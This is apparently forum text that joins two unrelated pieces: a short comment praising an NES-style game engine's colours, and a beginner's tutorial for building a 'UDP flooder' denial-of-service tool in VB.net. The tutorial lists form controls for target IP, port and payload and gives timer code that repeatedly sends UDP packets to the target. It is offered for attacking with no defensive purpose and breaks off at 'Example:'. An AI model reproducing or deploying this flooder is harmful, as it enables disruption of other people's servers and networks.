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I've tried it out and the engine looks smooth and promising, perhaps we can judge by some of the colors that there's no color shade limit like the old nes used to have (shades of blue, some shades of green, some red and some yellow, would surpass the limits of the old nes palette) The idea was pretty nice and It gave me back the nostalgia I had back then :)

This is my first post in this forum, I hope I'm doing the right thing :) I'm going to show you how to make a UDP flooder in VB.net 1) Start By Creating a Windows Form Application 2) Now Add a Textbox1 --> Which is The IP Input Textbox2 --> Which is The Port Input Textbox3 --> Which is The Data To Send ListBox1 --> Which Displays The Server Response Button1 --> a Button Which Starts The Attack Button2 --> a Button That Stops The Attack Timer1 --> To Repeat The Flood 3)Organize Them and Your Form Should Look Like This And now let's get to the coding part: 4) Above Public Class Form1 Paste This imports System.Net Imports System.Text Imports System.Net.Sockets Imports System.Diagnostics 5)Click on The Timer1 and Paste This Code : Try ListBox1.Items.Add("Attacking " + TextBox1.Text + " With Data ") ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory) Dim udpClient As New UdpClient Dim GLOIP As IPAddress Dim bytCommand As Byte() = New Byte() {} GLOIP = IPAddress.Parse(TextBox1.Text) udpClient.Connect(GLOIP, TextBox2.Text) bytCommand = Encoding.ASCII.GetBytes(TextBox3.text) udpClient.Send(bytCommand, bytCommand.Length) 6)Click on Button1 (Known as Start Flooding) and Paste This Code : timer1.start 7)Click on Button2 (Known as Stop Flooding) and Paste This Code : timer1.stop You will have to enter an IP and port (usually 80) or the program will exit. Example: